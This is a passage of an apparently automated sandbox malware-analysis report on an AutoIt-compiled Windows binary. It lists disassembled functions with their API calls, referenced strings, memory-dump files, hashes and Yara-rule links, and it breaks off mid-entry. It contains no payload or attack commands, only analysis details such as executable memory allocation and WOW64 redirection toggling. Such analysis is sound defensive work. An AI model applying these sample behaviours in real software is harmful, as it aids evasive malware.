SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00657461
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00657475
SendMessageW.USER32(?,00001002,00000000,?), ref: 00657499

Strings

SysMonthCal32, xrefs: 0065742C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: d51f38d98f946bf33ff3ab9f663dda596822d81ac55d04ae8f74f38e61ee5981
Instruction ID: fcfa0c80e1ee4dc03e611305b1ac01cd8f700f2256eed1f1a309410206bd6ab9
Opcode Fuzzy Hash: d51f38d98f946bf33ff3ab9f663dda596822d81ac55d04ae8f74f38e61ee5981
Instruction Fuzzy Hash: 5621BF32500218ABDF11CFA4DC46FEA3BAAEB48725F110214FE156B190DA75AC55DBA0

Function 00657B93 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00657C4A
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00657C58
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00657C5F

Strings

msctls_updown32, xrefs: 00657BC4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 4b23f7ce3be1299ed3c76e8f00d8292405f9d30574b111ee2f523f3ee7ef2b9c
Instruction ID: 7d4a0ec4ae94b941c10f96d2e184100135cf0a6178c479b98ed6399d1e7fac91
Opcode Fuzzy Hash: 4b23f7ce3be1299ed3c76e8f00d8292405f9d30574b111ee2f523f3ee7ef2b9c
Instruction Fuzzy Hash: 09213BB5604209AFDB11DF28ECC1DA737EEEB5A395F140059FA119B3A1CB31EC158B60

Function 00656CB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00656D3B
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00656D4B
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00656D70

Strings

Listbox, xrefs: 00656D08

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 2a0132639171ee552a50eb67683aa981878caf55ee78bb7472ec3c755c7450d6
Instruction ID: cf176213940f382f8919ea3a795910bb2d4a9bb3520a930d42de832254b5dbdb
Opcode Fuzzy Hash: 2a0132639171ee552a50eb67683aa981878caf55ee78bb7472ec3c755c7450d6
Instruction Fuzzy Hash: A021B032600118BFDF118F54CC45EEB3BBBEF89751F418228F9459B2A0C6719C55CBA0

Function 006439E9 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 00643A66

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Strings

%f, xrefs: 006439F4
, $, xrefs: 00643AA6
AUTOITCALLVARIABLE%d, xrefs: 00643A58

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __snwprintf_memmove
String ID: , $$AUTOITCALLVARIABLE%d$%f
API String ID: 3506404897-1950759109
Opcode ID: f68fa123bd2db46df767cae24b101f6a1429b995255f4aecd6e714ee91a20413
Instruction ID: d00e4d383ddade9c6087f35628292e1ad372a9b6a962b5406979298a28ddce84
Opcode Fuzzy Hash: f68fa123bd2db46df767cae24b101f6a1429b995255f4aecd6e714ee91a20413
Instruction Fuzzy Hash: 5421753165021AAFCF10EF58CC86AAD7BB6BF44700F500456F545AB341DB30EA45CB65

Function 0065770E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00657772
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00657787
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00657794

Strings

msctls_trackbar32, xrefs: 00657749

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: c98c95a027b5f9b93c0e66ce179ba0ba39e189d5b4e17f698f6dd8a6ab72137a
Instruction ID: 08e0d5ff530a48e640e5d0a8f6bbfd980b2a7684a5a2d4d2e89b58d8e8f018e9
Opcode Fuzzy Hash: c98c95a027b5f9b93c0e66ce179ba0ba39e189d5b4e17f698f6dd8a6ab72137a
Instruction Fuzzy Hash: 10113A72200208BFEF205F64EC05FEB37AEEF8CB55F010119FA4196190D271E811CB20

Function 005F6B71 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 005F6B93
__calloc_crt.LIBCMT ref: 005F6BAC

Strings

h, xrefs: 005F6BD1
@Bi, xrefs: 005F6BC3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __calloc_crt
String ID: h$@Bi
API String ID: 3494438863-1321788284
Opcode ID: ef54ab0a49d0d97d62823423a355a41611877909a769551d274ffd132b9d3e64
Instruction ID: 4745cdebda7050e63363c0dd5002c53521dd0304374a92233dadd89bdc11a4ab
Opcode Fuzzy Hash: ef54ab0a49d0d97d62823423a355a41611877909a769551d274ffd132b9d3e64
Instruction Fuzzy Hash: A1F09672209A1A8BF765AF68BC51B722F9AF755730F60041BE701DF590EB78C98187C4

Function 005F9B79 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 005F9B94

Part of subcall function 005F9C0B: __mtinitlocknum.LIBCMT ref: 005F9C1D
Part of subcall function 005F9C0B: EnterCriticalSection.KERNEL32(00000000,?,005F9A7C,0000000D), ref: 005F9C36

__updatetlocinfoEx_nolock.LIBCMT ref: 005F9BA4

Part of subcall function 005F9100: ___addlocaleref.LIBCMT ref: 005F911C
Part of subcall function 005F9100: ___removelocaleref.LIBCMT ref: 005F9127
Part of subcall function 005F9100: ___freetlocinfo.LIBCMT ref: 005F913B

Strings

8h, xrefs: 005F9B8A, 005F9B9F, 005F9BAB
8h, xrefs: 005F9B85

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CriticalEnterEx_nolockSection___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
String ID: 8h$8h
API String ID: 547918592-46196298
Opcode ID: 59e8882c87e33c09ef061f117ecc7ae16de611331a1dd3e7f371990c534bca58
Instruction ID: 5b0f6de66424593767c0e04e97613ea2172e6ddde13fff7ca7912104d66dc4eb
Opcode Fuzzy Hash: 59e8882c87e33c09ef061f117ecc7ae16de611331a1dd3e7f371990c534bca58
Instruction Fuzzy Hash: 37E08C31987B0AABEB10BBA46B0FB382F91BB80B31F20535AF245561D5CDB908008B57

Function 005D4C03 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,005D4BD0,?,005D4DEF,?,006952F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 005D4C11
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 005D4C23

Strings

kernel32.dll, xrefs: 005D4C0C
Wow64DisableWow64FsRedirection, xrefs: 005D4C1D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: a613039fe1793df3146268855a9e346770a9986fa07c9b1ae78c0c7ca6e6ade5
Instruction ID: 5a742cd0d7b62c1a897d5e58207799aa000fa1b187e9bd1b2ef80362b05ac27e
Opcode Fuzzy Hash: a613039fe1793df3146268855a9e346770a9986fa07c9b1ae78c0c7ca6e6ade5
Instruction Fuzzy Hash: 89D0E230521B12CFD730AB75D948606BAE6AF09352F12883A9886D6660EAB0D8808A51

Function 005D4C36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,005D4B83,?), ref: 005D4C44
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 005D4C56

Strings

kernel32.dll, xrefs: 005D4C3F
Wow64RevertWow64FsRedirection, xrefs: 005D4C50

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: e3df3095f63b92be67bdd64b9e7dbe2e09704b96b1595bf56d8edbe16be1f9c5
Instruction ID: fb4b37818cb36f93ebd5a31b95b54d1f13cd3ceffd87efca510f4dd0d5c77c6d
Opcode Fuzzy Hash: e3df3095f63b92be67bdd64b9e7dbe2e09704b96b1595bf56d8edbe16be1f9c5
Instruction Fuzzy Hash: D0D01770520B13CFD730AF35D90860A7BE6AF05352F12883B9896D6A70EA70D880CA51

Function 00650DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00651039), ref: 00650DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00650E07

Strings

advapi32.dll, xrefs: 00650DF0
RegDeleteKeyExW, xrefs: 00650E01

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: a651f3d78acf0c964f05197ca1685f8bb2b993adb70760c904a6f96929cf3e36
Instruction ID: 605507d2fff9ac6743ec76cb8076a22b76f4110ada3b95287d8fe249c5359127
Opcode Fuzzy Hash: a651f3d78acf0c964f05197ca1685f8bb2b993adb70760c904a6f96929cf3e36
Instruction Fuzzy Hash: 71D01770510B22CFE721AF75D80969676E7AF04353F269C3E9886D2250EBB0D894CB61

Function 006490E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00648CF4,?,0065F910), ref: 006490EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00649100

Strings

GetModuleHandleExW, xrefs: 006490FA
kernel32.dll, xrefs: 006490E9

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 4ba91115c26ea5c7789699a8090b8a8895e6076ea09e29963f9e22782e35f042
Instruction ID: 515e7b87a6ad8f8a4c04ed629322fe05e0c7f8bcddbb4d78643910971ee48fab
Opcode Fuzzy Hash: 4ba91115c26ea5c7789699a8090b8a8895e6076ea09e29963f9e22782e35f042
Instruction Fuzzy Hash: 0AD01734550B13CFDB30EF31D81864776E6AF06392F12883A9986D7A90EA70C880CBA0

Function 00611714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00611718
__swprintf.LIBCMT ref: 00611749

Strings

WIN_XPe, xrefs: 00611788
%.3d, xrefs: 00611723

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 79ae145e0ae56090eece5aded43e0fa51b698ac44eefd1be7472035a02f142a0
Instruction ID: aa5e50d80c384397e62139a6901101d441f0ab1aa8824a463c2d4fef101943af
Opcode Fuzzy Hash: 79ae145e0ae56090eece5aded43e0fa51b698ac44eefd1be7472035a02f142a0
Instruction Fuzzy Hash: D8D01271805109EAC7109790988C8F9777EB70A301F180553F702DA280E22587D5E621

Function 0062717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda929890754b5181ffa193942b4ebf1c444d84d15fe857cac82a2788a394cba
Instruction ID: d360b8ea387a1b9032954fbd1095068d192c1f9658d0e689fce17668387f4022
Opcode Fuzzy Hash: cda929890754b5181ffa193942b4ebf1c444d84d15fe857cac82a2788a394cba
Instruction Fuzzy Hash: 75C14B74A04626EFCB14DF94D884EAEBBB6FF48714B148598E805DB251D730ED41DB90

Function 0064E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0064E0BE
CharLowerBuffW.USER32(?,?), ref: 0064E101

Part of subcall function 0064D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0064D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0064E301
_memmove.LIBCMT ref: 0064E314

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: be452fc84adcacbbdf82b3304f106941d9711c91ced4ec57f4d67e9a7961112b
Instruction ID: 2bf04935130115a44be214c0501207f35dc637a06b5757a405ebf21590229804
Opcode Fuzzy Hash: be452fc84adcacbbdf82b3304f106941d9711c91ced4ec57f4d67e9a7961112b
Instruction Fuzzy Hash: 91C15571A083019FC754DF28C480A6ABBE5FF89714F04896EF899DB351D771EA46CB82

Function 00648093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 006480C3
CoUninitialize.OLE32 ref: 006480CE

Part of subcall function 0062D56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0062D5D4

VariantInit.OLEAUT32(?), ref: 006480D9
VariantClear.OLEAUT32(?), ref: 006483AA

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: ac4018b890f6575e7c4caa4be41fadd19c109f9baf48a1eb94187463a41befbc
Instruction ID: 18b40f2262a0484548d4485396f3380b3fe9300afdd02c52cf384f3387308cc7
Opcode Fuzzy Hash: ac4018b890f6575e7c4caa4be41fadd19c109f9baf48a1eb94187463a41befbc
Instruction Fuzzy Hash: 00A159756047029FCB10EF58C485A6EBBE6BF89714F04445EF9969B3A2CB34ED05CB82

Function 0062687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0062688E
SysAllocString.OLEAUT32(00000000), ref: 00626937
VariantCopy.OLEAUT32 ref: 00626966
VariantClear.OLEAUT32(?), ref: 0062698D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 414e3b4018e0d36528b527a7af3171a79b831809c6e8549f8bd017178a44847c
Instruction ID: adb24d74426544be42fd0a8b8ebc59182b26a850f2e07a9874a01a1b49438879
Opcode Fuzzy Hash: 414e3b4018e0d36528b527a7af3171a79b831809c6e8549f8bd017178a44847c
Instruction Fuzzy Hash: 4551C474700B129ADB24AF65E8A567AB7E6AF44310F20D81FF586DB391DB34DC818F05

Function 006597F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(00FEDB30,?), ref: 00659863
ScreenToClient.USER32(00000002,00000002), ref: 00659896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00659903

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 3e68ef2b55bd0a33c485ecb2365239feae4dfad0366b0323d595dea3865435c1
Instruction ID: 589a8e3fdb4be753eaa6c895d7840606da2500c02d59a1adcf34c0039087a207
Opcode Fuzzy Hash: 3e68ef2b55bd0a33c485ecb2365239feae4dfad0366b0323d595dea3865435c1
Instruction Fuzzy Hash: 99512D34A00209EFCF14DF54C984AEE7BB6FB45361F148559F8659B3A0D731AD85CBA0

Function 00629A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00629AD2
__itow.LIBCMT ref: 00629B03

Part of subcall function 00629D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 00629DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 00629B6C
__itow.LIBCMT ref: 00629BC3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: a31c5102999f2b23e891161ef5785ee778d8f11d3baed6c96f57d83687b10b9d
Instruction ID: 312c4f7ebb0b55e5ad7b41dfb2c8daff00b8831292b62d8be49d7f2b277997b7
